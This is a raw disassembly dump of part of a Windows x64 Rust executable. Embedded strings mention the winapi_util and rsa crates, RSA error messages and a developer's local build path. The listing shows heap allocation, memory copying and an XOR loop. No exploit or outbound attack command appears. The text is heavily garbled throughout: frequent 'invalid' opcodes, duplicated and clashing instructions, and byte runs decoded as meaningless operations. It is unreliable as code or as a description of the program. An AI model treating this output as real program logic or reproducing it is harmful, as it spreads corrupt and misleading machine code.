mov ebp, edi
invalid
push qword [rax - 0x27d16f7]
invalid
mov al, 9
jmp 0x140068a0a
invalid
std
invalid
invalid
invalid
push qword [rax - 0x28416f6]
mov al, 0xa
jmp 0x140068a0a
jnp 0x140068c8a
invalid
push qword [rax - 0x28b16f5]
mov al, 0xb
jmp 0x140068a0a
je 0x140068c91
invalid
push qword [rax - 0x29216f4]
mov al, 0xc
jmp 0x140068a0a
insd dword [rdi], dx
std
invalid
invalid
insd dword [rdi], dx
std
invalid
push qword [rax - 0x29916f3]
std
invalid
push qword [rax - 0x2a016f2]
pop rdi
std
invalid
push qword [rax - 0x2a716f1]
pop rax
std
invalid
push qword [rax - 0x2ae16f0]
push rcx
std
invalid
push qword [rax - 0x2b516ef]
std
invalid
push qword [rax - 0x2bc16ee]
std
invalid
push qword [rax - 0x2c316ed]
cmp al, 0xfd
invalid
push qword [rax - 0x2ca16ec]
invalid
xor eax, 0xb0fffffd
adc eax, 0xfffd2ee9
std
invalid
push qword [rax - 0x2d116eb]
std
invalid
push qword [rax - 0x2d816ea]
invalid
invalid
push qword [rax - 0x2df16e9]
and ch, bh
invalid
push qword [rax - 0x2e616e8]
sbb ebp, edi
invalid
push qword [rax - 0x2ed16e7]
adc bh, ch
invalid
push qword [rax - 0x2f416e6]
or edi, ebp
invalid
push qword [rax - 0x2fb16e5]
add al, 0xfd
invalid
std
cld
invalid
idiv ah
invalid
out dx, eax
cld
invalid
call 0xf1068d1f
and cl, ch
loope 0x140068d23
invalid
invalid
sar esp, cl
invalid
int3
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_synconce.rs
mov edx, 0x2b
call fcn.1400a9e70
ud2
add byte [rax - 0x39], cl
sub dword [rax], 3
add byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmmword [rbx + 0x330], xmm6
mov qword [rbx + 0x340], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmmword [rbx + 0x348], xmm6
mov qword [rbx + 0x358], 0
add byte [rax - 0x39], cl
sbb dword [rax + 3], 0
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
movups xmmword [rbx + 0x360], xmm6
movups xmmword [rbx + 0x360], xmm6
mov qword [rbx + 0x370], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmmword [rbx + 0x378], xmm6
mov qword [rbx + 0x388], 0
add byte [rax - 0x39], cl
or dword [rax + 3], 0
add byte [rax], al
movups xmmword [rbx + 0x390], xmm6
mov qword [rbx + 0x3a0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmmword [rbx + 0x3a8], xmm6
mov qword [rbx + 0x3b8], 0
add byte [rax - 0x39], cl
cmp dword [rax + 3], 0
add byte [rax], al
movups xmmword [rbx + 0x3c0], xmm6
mov qword [rbx + 0x3d0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmmword [rbx + 0x3d8], xmm6
mov qword [rbx + 0x3e8], 0
call case.0x1400281ec.545
add byte [rax], al
invalid
add byte [rax - 0x39], cl
sub eax, 3
call case.0x1400281ec.545
add byte [rax], al
invalid
call case.0x1400281ec.545
add byte [rax], al
add byte [rdi], cl
movups xmmword [rbx + 0x3f0], xmm6
movups xmmword [rbx + 0x3f0], xmm6
add eax, dword [rax]
add byte [rax - 0x39], cl
add dword [rax], 4
mov qword [rbx + 0x400], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmmword [rbx + 0x408], xmm6
mov qword [rbx + 0x418], 0
sbb byte [rax + rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
adc dword [rbx + 0x420], esi
add al, 0
invalid
sbb byte [rax + rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
adc dword [rbx + 0x420], esi
add al, 0
invalid
add al, 0
add byte [rax - 0x39], cl
xor dword [rax], 4
add byte [rax], al
add byte [rax], al
mov qword [rbx + 0x430], 0
add byte [rax], al
movups xmmword [rbx + 0x438], xmm6
mov qword [rbx + 0x448], 0
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
adc dword [rbx + 0x450], esi
add al, 0
invalid
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
adc dword [rbx + 0x450], esi
add al, 0
invalid
add al, 0
add byte [rax - 0x39], cl
and dword [rax + 4], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmmword [rbx + 0x468], xmm6
mov qword [rbx + 0x460], 0
add byte [rax], al
movups xmmword [rbx + 0x468], xmm6
mov qword [rbx + 0x478], 0
js 0x14006aaad
add byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmmword [rbx + 0x480], xmm6
mov qword [rbx + 0x490], 0
add byte [rax], al
add byte [rax], al
add al, 0
add byte [rax - 0x39], cl
adc dword [rax + 4], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmmword [rbx + 0x498], xmm6
add byte [rax], al
mov qword [rbx + 0x4a8], 0
test al, 4
add byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmmword [rbx + 0x4b0], xmm6
add byte [rax], al
mov qword [rbx + 0x4c0], 0
movups xmmword [rbx + 0x4c8], xmm6
mov qword [rbx + 0x4d8], 0
movups xmmword [rbx + 0x4e0], xmm6
mov qword [rbx + 0x4f0], 0
movups xmmword [rbx + 0x4f8], xmm6
mov qword [rbx + 0x508], 0
movups xmmword [rbx + 0x510], xmm6
mov qword [rbx + 0x520], 0
movups xmmword [rbx + 0x528], xmm6
mov qword [rbx + 0x538], 0
movups xmmword [rbx + 0x540], xmm6
mov qword [rbx + 0x550], 0
movups xmmword [rbx + 0x558], xmm6
mov qword [rbx + 0x568], 0
movups xmmword [rbx + 0x570], xmm6
mov qword [rbx + 0x580], 0
movups xmmword [rbx + 0x588], xmm6
mov qword [rbx + 0x598], 0
movups xmmword [rbx + 0x5a0], xmm6
mov qword [rbx + 0x5b0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmmword [rbx + 0x5b8], xmm6
mov qword [rbx + 0x5c8], 0
enter 5, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
or eax, 5
enter 5, 0
enter 5, 0
add byte [rax], al
add byte [rax], al
mov r8d, 0x5e8
add byte [rax], al
lea rcx, [rsp + 0x628]
add byte [rax], al
lea rdx, [rsp + 0x40]
push rsp
and al, 0x40
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [0x1400f92c0]
mov rax, qword [0x1400f91f8]
or byte [rax], al
out 8, al
add byte [rax - 0x75], cl
add eax, 0x8e627
or byte [rax], al
or byte [rax], al
test rax, rax
jne 0x14006abec
sal byte [rbp + 0x16], 0xff
adc eax, 0x45814
invalid
call qword [sym.imp.kernel32.dll_GetProcessHeap]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
je 0x14006ada2
mov qword [0x1400f91f8], rax
test rax, rax
je 0x14006ada2
mov qword [0x1400f91f8], rax
add eax, 0x8e60c
add byte [rcx - 0x48], al
invalid
mov r8d, 0x5f0
mov rcx, rax
mov ecx, eax
mov ecx, eax
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
ror byte [rdi], 0x84
pushfq
add dword [rax], eax
invalid
ror byte [rdi], 0x84
pushfq
add dword [rax], eax
add byte [rcx - 0x77], cl
invalid
mov r13, rax
mov qword [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x7d], 0xc1
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x7d], 0xc1
or byte [rcx - 0x48], al
mov r8d, 0x5e8
lea rdx, [rsp + 0x628]
mov r8d, 0x5e8
add byte [rax], al
lea rdx, [rsp + 0x628]
add byte [rax], al
call sub.VCRUNTIME140.dll_memcpy
mov ecx, 0x8d490003
add r9b, byte [rcx + r9*4 - 0x10]
mov eax, esi
lea rcx, [r14 + 2]
mov rax, r14
mov eax, esi
mov eax, esi
lock cmpxchg qword [rsi + 0x80], rcx
cmpxchg dword [rsi + 0x80], ecx
je 0x14006ac7d
mov r15, qword [rsi + 0x88]
mov r15, qword [rsi + 0x88]
mov byte [rax], al
add byte [rax], al
cmp ebp, 6
mov ecx, 6
invalid
add byte [rax], al
invalid
invalid
cmovb ecx, ebp
mov edx, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add bl, dh
nop
pause
mov r8d, edx
shr r8d, cl
call 0xc54c6f6b
invalid
call 0xc54c6f6b
sal byte [rcx + rsi*8 - 0x7d], 0xfd
invalid
test eax, eax
je 0x14006ac60
cmp ebp, 7
adc ebp, 0
invalid
add byte [rcx - 0x77], cl
invalid
jmp 0x14006a726
invalid
invalid
cmp r12d, 0x3e
jne 0x14006acc4
cld
jne 0x14006acc4
test r13, r13
je 0x14006adb3
invalid
add byte [rcx - 0x7d], cl
mov byte [rsp + rcx*2], 0x89
add al, 0x4c
mov dword [rsi + 0x88], ebp
add al, 0x4c
mov dword [rsi + 0x88], ebp
mov qword [rsi + 0x80], r14
mov qword [r15], r13
mov rax, qword [rsp + 0x28]
and al, 0x28
add byte [rax], al
add byte [rbp - 0x77], cl
invalid
and al, 0x28
mov qword [r15 + 0x5d8], rax
mov dword [rdi + 0x5d8], eax
mov rax, qword [rsp + 0x30]
and al, 0x30
mov qword [r15 + 0x5e0], rax
mov dword [rdi + 0x5e0], eax
add byte [rax], al
add al, dh
or qword [r15 + 0x5e8], 1
or dword [rdi + 0x5e8], 1
lock or qword [r15 + 0x5e8], 1
or dword [rdi + 0x5e8], 1
add byte [rax], al
add ebx, ebp
jmp 0x14006acfa
lea rax, [r12 + r12*2]
jmp 0x14006acfa
lea rax, [r12 + r12*2]
mov rcx, qword fs:[rsp + 0x28]
mov rcx, qword [rsp + 0x28]
and al, 0x28
mov qword [r15 + rax*8 + 8], rcx
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
and al, 0x30
mov qword [r15 + rax*8 + 0x10], rcx
lock or qword [r15 + rax*8 + 0x18], 1
invalid
invalid
sbb byte [rcx], al
invalid
test r13, r13
je 0x14006acfa
mov rcx, qword [0x1400f91f8]
or ebp, esp
or byte [rax], al
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mfence
movabs rdx, 0x100000000
scasb al, byte [rdi]
invalid
nop word [rax + rax]
invalid
mov rax, qword [rsi + 0x178]
xchg byte [rax + 1], bh
add byte [rax], al
bt rax, 0x20
jb 0x14006ad3a
and byte [rdx + 0x1c], dh
lea rcx, [rax + rdx]
lock cmpxchg qword [rsi + 0x178], rcx
cmpxchg dword [rsi + 0x178], ecx
cmpxchg dword [rsi + 0x178], ecx
jne 0x14006ad10
mov rax, rcx
and rax, 0xffff
jne 0x14006ad48
mov rcx, rax
mov rax, rcx
enter 0x2548, 0xffffffffffffffff
inc dword [rax]
invalid
je case.0x14002f3a6.304
enter 0x2548, 0xffffffffffffffff
inc dword [rax]
add byte [rdi + rcx + 0x48], dh
cmp dword [rsp + 0x38], 2
and al, 0x38
invalid
cmp qword [rsp + 0x38], 2
and al, 0x38
add dh, byte [rbx + 0x23]
jae 0x14006ad73
shr ecx, 0x10
cmp ecx, eax
je 0x14006ad73
movaps xmm6, xmmword [rsp + 0xc10]
add rsp, 0xc28
sub byte [rax + rax], cl
add byte [rbx + 0x5d], bl
mov ah, 0x24
adc byte [rax + rax], cl
add byte [rax - 0x7f], cl
invalid
sub byte [rax + rax], cl
or al, 0
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop rsi
pop rsi
pop r15
ret
add rsi, 0x160
add esi, 0x160
mov rcx, rsi
mov ecx, esi
mov edx, 1
movaps xmm6, xmmword [rsp + 0xc10]
mov ah, 0x24
adc byte [rax + rax], cl
or al, 0
add byte [rax - 0x7f], cl
invalid
sub byte [rax + rax], cl
add byte [rbx + 0x5d], bl
mov ah, 0x24
adc byte [rax + rax], cl
or al, 0
or al, 0
add byte [rax - 0x7f], cl
invalid
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.1400ad1b0
and al, 4
invalid
and al, 4
add byte [rcx + 8], bh
mov ecx, 8
mov edx, 0x5f0
call fcn.1400a9bd0
ud2
add al, ch
invalid
cmp byte [rax], cl
add byte [rbp + rcx*4 + 5], cl
xlatb
jbe 0x14006adc7
add byte [rdx + 0x2b], bh
call fcn.1400a9e70
add byte [rax], al
add al, ch
movsd dword [rdi], dword [rsi]
lock add eax, dword [rax]
ud2
int3
jne 0x14006ae0d
lea rax, [0x1400e2a5e]
mov r8d, 0x3a
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 1
ret 0x5be9
jo 0x14006adf1
std
invalid
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 1
ret 0x5be9
std
dec dword [rax - 0x73]
add eax, 0x77c2e
mov r8d, 0x34
add byte [rax], al
invalid
mov eax, 0x34
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, edx
mov rdx, rax
invalid
invalid
mov rcx, rdx
mov ecx, edx
mov rdx, rax
jmp fcn.140041e50
std
invalid
std
dec dword [rax - 0x7d]
ror dword [rax], 0xe9
pop rdx
pop rbp
add dword [rax], eax
int3
add rcx, 8
jmp 0x140080b70
int3
sub byte [rax - 0x75], cl
add dword [rax - 0x7b], ecx
sal byte [rsi + rdx - 0x7d], 0xf8
add dword [rbp + 0x22], esi
lea rax, [0x1400e2a5e]
mov edx, 0x3a
add rsp, 0x28
invalid
sub bl, al
invalid
ror dword [rax], 0xe8
je 0x14006adfd
add dword [rax], eax
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
ret
int3
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x78
movabs rax, 0x100000000
cmp rdx, rax
ja 0x14006b1c6
add byte [rax], al
add byte [rax], al
mov rbp, r9
mov r15, r8
mov rbx, rdx
mov ebx, edx
mov ebx, edx
mov r14, rcx
mov rax, qword [rsp + 0xe0]
loopne 0x14006aea5
add byte [rax], al
loopne 0x14006aea5
add byte [rax], al
lea r12, [rax + 4]
lea rax, [r8 + 0x28]
lea eax, [rax + 0x28]
lea eax, [rax + 0x28]
mov qword [rsp + 0x30], rax
lea rax, [rcx + 1]
add dword [rax - 0x77], ecx
and al, 0x68
xor byte [rax - 0x73], cl
add dword [r8 - 0x77], ecx
add dword [rax - 0x77], ecx
add dword [rax - 0x77], ecx
and al, 0x68
lea rax, [rcx + 0x10]
mov qword [rsp + 0x60], rax
and al, 0x60
adc byte [r8 - 0x77], cl
and al, 0x60
xor r13d, r13d
mov dword [rsp + 0x2c], 0
and al, 0x2c
add byte [rax], al
add byte [rax], al
and al, 0x2c
add byte [rax], al
add byte [rax], al
xor eax, eax
mov qword [rsp + 0x40], rax
xor eax, eax
xor eax, eax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x38], eax
xor edi, edi
mov qword [rsp + 0x48], r12
and al, 0x48
and al, 0x48
mov qword [rsp + 0x70], r9
mov dword [rsp + 0x70], ecx
jmp 0x14006af09
add byte [rax - 0x75], cl
or eax, 0x8e301
add ebx, esp
or byte [rax], al
mov rcx, qword [0x1400f91f8]
add ebx, esp
or byte [rax], al
xor edx, edx
mov r8, qword [rsp + 0x58]
and al, 0x58
and al, 0x58
call rsi
cmp rdi, rbx
jae case.0x140063fb7.58
add byte [rax], al
invalid
add byte [rax], al
test r12, r12
js 0x14006b1bf
in al, 0xf
mov byte [rbp + 0x48000002], ch
mov rax, qword [0x1400f91f8]
mov eax, dword [0x1400f91f8]
or byte [rax], al
test rax, rax
jne 0x14006af34
call qword [sym.imp.kernel32.dll_GetProcessHeap]
adc eax, 0x454cc
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
add dword [rdx], 0
add byte [rax], al
invalid
invalid
test rax, rax
je 0x14006b1b0
add byte [rax], al
add byte [rax], al
mov qword [0x1400f91f8], rax
add eax, 0x8e2c4
mov rcx, rax
mov edx, 8
mov r8, r12
add byte [rbp - 0x77], cl
loopne 0x14006af3f
call qword [sym.imp.kernel32.dll_HeapAlloc]
adc eax, 0x454b3
add al, 0
test rax, rax
je 0x14006b1b0
ror byte [rdi], 0x84
invalid
mov rcx, rax
mov ecx, eax
mov qword [rsp + 0x58], rax
and al, 0x58
mov rdx, rbp
mov rsi, qword [rsp + 0xe0]
add byte [rax], al
add byte [rax], al
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rsp + 0x58]
push rsp
and al, 0x58
push rsp
and al, 0x58
mov qword [rsp + 0x50], r13
movzx eax, r13b
shl eax, 0x18
movzx ecx, byte [rsp + 0x2c]
mov dh, 0x4c
and al, 0x2c
mov dh, 0x4c
and al, 0x2c
shl ecx, 0x10
or ecx, eax
movzx eax, byte [rsp + 0x40]
shl eax, 8
or eax, ecx
movzx ecx, byte [rsp + 0x38]
or ecx, eax
mov dword [rdx + rsi], ecx
mov rsi, r15
movzx eax, byte [r15 + 0x68]
movzx r15d, al
mov r8d, 0x40
sub r8, r15
sub eax, edi
mov r13, r12
sub r13, r8
jae 0x14006afe0
mov rax, qword [rsp + 0x30]
and al, 0x30
lea rcx, [rax + r15]
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
mov dh, 3
invalid
cmp byte [rbp - 0x77], cl
loopne 0x14006afaa
and eax, 0x4d0003b6
add edi, esp
mov dh, 3
add byte [rbp + 1], cl
add r15, r12
mov r12, r15
add r15, r12
mov r12, r15
mov r15, rsi
mov edi, esi
jmp 0x14006b057
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rbp, rdx
test al, al
je 0x14006b015
mov rbp, rdx
mov ebp, edx
add rbp, r8
mov r12, qword [rsp + 0x30]
add r15, r12
add edi, esp
add edi, esp
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rsi
int1
int1
inc qword [rsi + 0x20]
mov r8d, 1
add byte [rax], al
add byte [rcx + rcx*4 - 0x1e], cl
mov edx, esp
add byte [rax], al
add byte [rcx + rcx*4 - 0x1e], cl
mov edx, esp
mov edx, esp
call fcn.1400765f0
mov r12, r13
mov esp, ebp
mov esp, ebp
cmp r12, 0x40
mov r15, rsi
cld
mov r15, rsi
jb 0x14006b034
mov r8, r12
mov eax, esp
shr r8, 6
add qword [r15 + 0x20], r8
mov rcx, r15
stc
call 0x18707fd2e
and byte [rcx + rcx*4 - 7], cl
stc
stc
mov rdx, rbp
call fcn.1400765f0
mov rax, r12
and rax, 0xffffffffffffffc0
and r12d, 0x3f
add rbp, rax
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
mov rdx, rbp
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
mov ch, 3
add byte [rax - 0x75], cl
mov ebp, dword [rsp + 0x70]
mov ch, 3
add byte [rax - 0x75], cl
mov ebp, dword [rsp + 0x70]
mov ebp, dword [rsp + 0x70]
mov r13, qword [rsp + 0x50]
push rax
mov rsi, qword [sym.imp.kernel32.dll_HeapFree]
mov byte [r15 + 0x68], r12b
mov rcx, r15
call fcn.140009c80
test rdx, rdx
je 0x14006b0f0
invalid
jl 0x14006b0bd
cmp rdi, rbx
cmp edi, ebx
mov r12, qword [rsp + 0x48]
jae 0x14006b150
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x77], cl
stc
mov r9, rdi
not r9
add r9, rbx
lea rcx, [rdx - 1]
cmp r9, rcx
mov r8, rcx
cmovb r8, r9
ror dword [rcx - 1], 0xc0
ror dword [rcx - 1], 0xc0
ror byte [rcx - 0x7d], 0xf8
and byte [rdx + 0x27], dh
cmp r8, 0x20
jb 0x14006b0c9
lea r10, [r14 + rdi]
lea edx, [rsi + rdi]
cmp r9, rcx
cmp ecx, ecx
cmovb rcx, r9
lea r9, [rax + rcx]
or al, 8
or al, 8
inc r9
cmp r10, r9
ror dword [rbp + 0x39], 0xca
jae case.0x1400510a8.64
mov r9, qword [rsp + 0x68]
add r9, rdi
add ecx, edi
push 0x4cf90149
add ecx, ecx
leave
add ecx, edi
add rcx, r9
leave
cmp rax, rcx
jae case.0x1400510a8.64
xor ecx, ecx
leave
inc rcx
nop
nop
nop
movzx r8d, byte [rax + rcx - 1]
or dil, r15b
xor byte [r14 + rdi], r8b
xor byte [rsi + rdi], al
inc rdi
inc edi
invalid
cmp rcx, rdx
jae 0x14006b150
inc rcx
inc ecx
cmp rdi, rbx
jb 0x14006b0d0
fbstp tbyte [rdx - 0x1a]
jmp 0x14006b150
add byte [rbx + rcx*4 + 0x64], cl
mov r12, qword [rsp + 0x48]
and al, 0x48
jmp 0x14006b150
mov rcx, r8
and rcx, 0xffffffffffffffe0
and ecx, 0xffffffe0
and ecx, 0xffffffe0
mov r9, qword [rsp + 0x60]
mov ecx, dword [rsp + 0x60]
add r9, rdi
add rdi, rcx
add edi, ecx
add edi, ecx
xor r10d, r10d
nop dword [rax]
invalid
ror byte [rdi], cl
invalid
add byte [rdx + 0xf], al
adc byte [rax + rdx], al
add al, 0x10
movups xmm0, xmmword [rax + r10]
add al, 0x10
movups xmm1, xmmword [rax + r10 + 0x10]
adc byte [rax + rdx + 0x10], cl
movups xmm2, xmmword [r9 + r10 - 0x10]
adc byte [rcx + rdx - 0x10], dl
adc eax, esi
xorps xmm2, xmm0
movups xmm0, xmmword [r9 + r10]
adc byte [rcx + rdx], al
rol byte [rbx + 0xf], 1
adc byte [rcx + rdx], al
add al, 0x11
xorps xmm0, xmm1
movups xmmword [r9 + r10 - 0x10], xmm2
push rsp
adc eax, esi
rol dword [rbx + 0xf], 0x11
push rsp
adc eax, esi
movups xmmword [r9 + r10], xmm0
movups xmmword [rcx + rdx], xmm0
add r10, 0x20
add edx, 0x20
cmp rcx, r10
jne 0x14006b110
invalid
ror byte [rcx + 0x39], 1
enter 0xffffffffffff8675, 0x66
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
cmp r8, rcx
jne case.0x14004b11e.139
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rcx - 2], al
invalid
inc r13b
jne 0x14006b183
mov ecx, dword [rsp + 0x2c]
and al, 0x2c
inc cl
mov dword [rsp + 0x2c], ecx
jne 0x14006b183
mov rcx, qword [rsp + 0x40]
and al, 0x40
add cl, 1
mov qword [rsp + 0x40], rcx
and al, 0x40
and al, 0x40
mov rcx, qword [rsp + 0x38]
mov ecx, dword [rsp + 0x38]
adc cl, 0
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x2c], 0
test rdx, rdx
je 0x14006aef0
test byte [rbp + rdi*8 - 1], ah
invalid
test byte [rbp + rdi*8 - 1], ah
dec dword [rax - 0x75]
or eax, 0x8e065
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rax
call rsi
jmp 0x14006aef0
add rsp, 0x78
pop rbx
pop rbp
invalid
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
ret
mov ecx, 1
mov rdx, r12
loop 0x14006b1a1
adc ebp, edx
add eax, dword [rax]
loop 0x14006b1a1
adc ebp, edx
add eax, dword [rax]
ud2
call fcn.1400401e0
ud2
sbb al, 0x50
std
dec dword [rdi]
or ecx, dword [rax - 0x73]
or eax, 0x77afb
jp case.0x14004e78a.101
invalid
lea rcx, str.assertion_failed:_out.len___as_u64___MAX_LENC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.4_src_algorithmsmgf.rs
lea r8, [0x1400e2d60]
add eax, 0x77b8c
mov edx, 0x2d
call fcn.1400a9e70
in al, dx
add eax, dword [rax]
ud2
in al, dx
push 0x4c018b48
lea eax, [0x1400efa64]
or byte [rax], al
or byte [rax], al
movsxd rax, dword [r8 + rax*4]
add rax, r8
sar bh, 0xe0
or byte [rcx + rax - 0x40], 0xff
loopne 0x14006b240
invalid
sar bh, 0xe0
lea rax, str.invalid_padding_scheme
lea eax, [0x1400e2d90]
xchg edx, eax
jnp 0x14006b204
add cl, ch
sub al, 1
add byte [rax], al
jmp 0x14006b32f
lea rax, str.decryption_error
lea eax, [0x1400e2db0]
jmp 0x14006b32f
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x77bc2
add byte [rax], al
lea rax, str.verification_error
jmp 0x14006b32f
jnp case.0x1400510a8.83
add cl, ch
or byte [rcx], al
add byte [rax], al
lea rax, str.input_must_be_hashed
lea eax, [0x1400e2e20]
lea eax, [0x1400e2e20]
jmp 0x14006b32f
lea eax, [0x1400e2e90]
jmp 0x14006b32f
add byte [rax], al
add byte [rax], al
lea rax, str.invalid_prime_value
jmp 0x14006b32f
jl case.0x140063fb7.68
add cl, ch
int3
lea eax, [0x1400e2ef8]
jmp 0x14006b32f
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x30], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x20]
call fcn.140042180
nop
add rsp, 0x68
ret
int3
je 0x14006b95e
bsr r8, r8
xor r8, 0x3f
shl rdx, 6
sub rdx, r8
cmp rdx, 0x1000
cmp edx, 0x1000
cmp edx, 0x1000
ja 0x14006b974
jmp 0x14006b97f
mov r8d, 0x40
shl rdx, 6
invalid
sub rdx, r8
cmp rdx, 0x1000
jbe 0x14006b97f
mov r10d, 0xb
jmp 0x14006bae9
mov r8, qword [rsp + 0x78]
and al, 0x78
cmp r8, 4
jbe 0x14006ba9b
mov r9, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
test r9, r9
je 0x14006baac
mov rdx, qword [rdx]
mov r10d, 0xd
cmp r9, 1
jne 0x14006bae9
cmp r8, 4
jbe 0x14006bab8
mov r11, qword [rsp + 0x58]
mov r10, qword [rsp + 0x60]
cmp rax, 5
jae 0x14006baca
lea r9, [rsp + 0x28]
cmp r11, rax
jb 0x14006badd
ja 0x14006ba8a
test r11, r11
je 0x14006ba8a
test rax, rax
je 0x14006ba8a
invalid
add byte [rdi - 0x73], cl
sbb al, 0xda
lea r11, [r10 + r11*8]
lea rsi, [r9 + rax*8]
lea rbx, [r11 - 8]
lea rdi, [rsi - 8]
mov r14, qword [rsi - 8]
cmp qword [rbx], r14
jb 0x14006badd
ja 0x14006ba8a
cmp rbx, r10
je 0x14006ba8a
cmp rdi, r9
je 0x14006ba8a
lea rbx, [r11 - 0x10]
lea rdi, [rsi - 0x10]
mov r14, qword [rsi - 0x10]
cmp qword [rbx], r14
jb 0x14006badd
ja 0x14006ba8a
cmp rbx, r10
je 0x14006ba8a
cmp rdi, r9
je 0x14006ba8a
lea rbx, [r11 - 0x18]
lea rdi, [rsi - 0x18]
mov r14, qword [rsi - 0x18]
cmp qword [rbx], r14
jb 0x14006badd
ja 0x14006ba8a
cmp rbx, r10
je 0x14006ba8a
cmp rdi, r9
je 0x14006ba8a
lea rbx, [r11 - 0x20]
lea rdi, [rsi - 0x20]
mov r14, qword [rsi - 0x20]
cmp qword [rbx], r14
jb 0x14006badd
ja 0x14006ba8a
cmp rbx, r10
je 0x14006ba8a
cmp rdi, r9
je 0x14006ba8a
mov r10, qword [r11 - 0x28]
cmp r10, qword [rsi - 0x28]
jb 0x14006badd
mov qword [rcx + 8], 8
mov qword [rcx], 2
jmp 0x14006bb12
lea rdx, [rsp + 0x58]
mov r9, r8
test r9, r9
jne 0x14006b9a1
xor edx, edx
cmp r8, 4
ja 0x14006b9be
invalid
invalid
invalid
invalid
lea r10, [rsp + 0x58]
mov r11, r8
cmp rax, 5
jb 0x14006b9d2
mov rsi, qword [rsp + 0x28]
mov r9, qword [rsp + 0x30]
cmp r11, rsi
jae 0x14006bb5f
test byte [r9], 1
jne 0x14006bb42
mov r10d, 8
mov qword [rcx + 8], r10
mov qword [rcx + 0x10], rdx
mov qword [rcx], 2
cmp rax, 5
jb 0x14006bb12
mov r8, qword [rsp + 0x30]
mov rcx, qword [0x1400f91f8]
or eax, 0x8d6ee
or eax, 0x8d6ee
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
sar bh, cl
adc eax, 0x448f6
cmp qword [rsp + 0x78], 5
jb 0x14006bb2e
mov r8, qword [rsp + 0x60]
and al, 0x60
mov rcx, qword [0x1400f91f8]
xor edx, edx
sar bh, cl
adc eax, 0x448da
sar bh, cl
adc eax, 0x448da
nop
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp r8, 4
jbe 0x14006bb72
mov r8, qword [rsp + 0x58]
mov r9, qword [rsp + 0x60]
mov r10d, 9
add byte [rax], al
add byte [rbp - 0x7b], cl
invalid
jne 0x14006bb86
add byte [rax], al
add byte [rbp - 0x7b], cl
sal byte [rbp + 0x29], 0xeb
mov dh, byte [rsi + 0x40]
jmp 0x14006bae9
jbe 0x14006bba1
mov qword [rcx + 8], 8
or byte [rax], al
add byte [rax], al
